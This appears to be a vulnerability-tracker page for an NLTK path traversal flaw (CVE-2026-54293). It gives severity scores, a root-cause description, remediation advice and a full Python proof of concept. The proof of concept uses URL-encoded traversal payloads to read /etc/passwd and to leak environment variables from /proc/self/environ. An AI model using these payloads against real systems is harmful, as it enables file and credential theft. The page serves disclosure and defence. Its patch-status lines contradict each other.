Skip to main content

NLTK CVE-2026-54293

| EUVDEUVD-2026-38333 HIGH
Path Traversal (CWE-22)
2026-06-16 https://github.com/nltk/nltk GHSA-p4gq-832x-fm9v
7.5
CVSS 3.1 · Vendor: https://github.com/nltk/nltk
Share

Severity by source

Vendor (https://github.com/nltk/nltk) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
7.5 HIGH

Reachable via web apps forwarding input to nltk.data.load with no auth or UI required; only confidentiality impacted via arbitrary file read bounded by process permissions.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/nltk/nltk).

CVSS VectorVendor: https://github.com/nltk/nltk

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Patch available
Jun 22, 2026 - 21:02 EUVD
Source Code Evidence Fetched
Jun 16, 2026 - 15:21 vuln.today
Analysis Generated
Jun 16, 2026 - 15:21 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6,076 pypi packages depend on nltk (3,024 direct, 3,134 indirect)

Ecosystem-wide dependent count for version 3.10.0.

DescriptionCVE.org

Summary

nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.

Affected Component

nltk/data.py - find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences:

data.py L650-L653 - final path constructed from url2pathname(resource_name) after checks data.py L54-L69 - _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219-L245 - normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615-L618 - defense-in-depth traversal check also operates on undecoded input

Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.

Proof of Concept

"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)

Root Cause:
  nltk/data.py:find() checks resource names against a regex for
  traversal patterns (../, leading /, etc.) BEFORE calling
  url2pathname() which decodes %xx sequences. This is a classic
  "decode-after-check" vulnerability.
"""

import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)

import nltk
from nltk.pathsec import ENFORCE

BANNER = """
===================================================
 NLTK URL-Encoded Path Traversal PoC
 Affected: nltk <= 3.9.4
 Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)

def test_variant(name, payload, fmt="raw"):
    """Test a single traversal variant."""
    try:
        content = nltk.data.load(payload, format=fmt)
        if isinstance(content, bytes):
            preview = content[:200].decode("utf-8", errors="replace")
        else:
            preview = content[:200]
        first_line = preview.split("\n")[0]
        print(f"  [VULN] {name}")
        print(f"         Payload: {payload}")
        print(f"         Read OK: {first_line}")
        return True
    except Exception as e:
        print(f"  [SAFE] {name}")
        print(f"         Payload: {payload}")
        print(f"         Blocked: {type(e).__name__}: {e}")
        return False


def main():
    print(BANNER)
    vulns = 0
# --- Variant 1: URL-encoded absolute path ---
    print("[1] URL-encoded absolute path (%2f = /)")
    if test_variant(
        "Encoded leading slash bypasses ^/ regex check",
        "nltk:%2fetc%2fpasswd",
    ):
        vulns += 1

    print()
# --- Variant 2: Encoded dot-dot traversal ---
    print("[2] URL-encoded dot-dot traversal (%2e = .)")
    if test_variant(
        "Encoded dots bypass \\.\\./ regex check",
        "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    ):
        vulns += 1

    print()
# --- Variant 3: Literal dots with encoded slash ---
    print("[3] Literal dots with encoded slash (..%2f)")
    if test_variant(
        "Encoded slash after literal .. bypasses \\.\\./ regex",
        "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
    ):
        vulns += 1

    print()
# --- Variant 4: Read process environment (credential leak) ---
    print("[4] Read /proc/self/environ (credential leakage)")
    try:
        content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
        env_vars = content.decode("utf-8", errors="replace").split("\x00")
        print(f"  [VULN] Leaked {len(env_vars)} environment variables")
        for var in env_vars[:3]:
            if var:
                key = var.split("=")[0] if "=" in var else var
                print(f"         {key}=...")
        vulns += 1
    except Exception as e:
        print(f"  [SAFE] Blocked: {e}")

    print()
# --- Control: verify normal traversal IS blocked ---
    print("[CONTROL] Verify literal ../ is blocked by regex")
    test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

    print()
    print("=" * 51)
    print(f" Result: {vulns} bypass variant(s) succeeded")
    if vulns > 0:
        print(" Status: VULNERABLE (url2pathname decodes after regex check)")
    else:
        print(" Status: Not vulnerable")
    print("=" * 51)


if __name__ == "__main__":
    main()

Impact

Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ - leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

AnalysisAI

Arbitrary local file read in the Natural Language Toolkit (NLTK) Python library affects versions up to and including 3.9.4 via a decode-after-check flaw in nltk.data.load() when handling the nltk: URL scheme. Attackers who can influence resource identifiers passed to this function can bypass the _UNSAFE_NO_PROTOCOL_RE regex using URL-encoded separators (%2f) or traversal segments (%2e%2e), allowing reads of files such as /etc/passwd, /proc/self/environ, SSH keys, and application secrets. Publicly available exploit code exists via the GHSA-p4gq-832x-fm9v advisory, though no public exploit identified in CISA KEV at time of analysis.

Technical ContextAI

NLTK is a widely deployed Python library for natural language processing, distributed via PyPI (pkg:pip/nltk) and used in web applications, hosted notebooks, ML pipelines, and CI/CD systems. The vulnerability lives in nltk/data.py within find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex (lines L54-L69, L219-L245, L615-L618, L650-L653). The root cause is CWE-22 (Path Traversal) manifested as a classic TOCTOU/decode-after-check: the regex inspects the raw, undecoded resource string for unsafe patterns like '../' or leading '/', but the final filesystem path is produced later by url2pathname(), which decodes percent-encoded sequences. Encoded variants (%2fetc%2fpasswd, %2e%2e%2f, ..%2f..%2f) are therefore invisible to the validator but become live path separators after decoding, breaking the security boundary NLTK explicitly documents in SECURITY.md.

RemediationAI

No vendor-released patch identified at time of analysis - the advisory data lists fixed version as None. Until an upstream release is available, deploying applications should treat any string passed to nltk.data.load() as untrusted: reject inputs containing percent signs (%) or any URL scheme prefix from external sources, allowlist resource names against a known corpus identifier set (e.g., regex matching only [a-zA-Z0-9_./-]), or sandbox the NLTK process under a restrictive filesystem namespace or seccomp/AppArmor profile that blocks reads outside the nltk_data directory. Setting the nltk.pathsec ENFORCE flag to True (if exposed in your version) enables stricter checks but does not eliminate the decode-after-check primitive, so input validation remains primary. Each mitigation has trade-offs: input allowlisting can break legitimate dynamic corpus loading; sandboxing adds operational complexity; ENFORCE=True may reject previously working resource strings. Monitor https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v for a fixed release.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Package Hub 15 SP7 Fixed
openSUSE Tumbleweed Fixed
SUSE Package Hub 15 SP7 Affected

Share

CVE-2026-54293 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy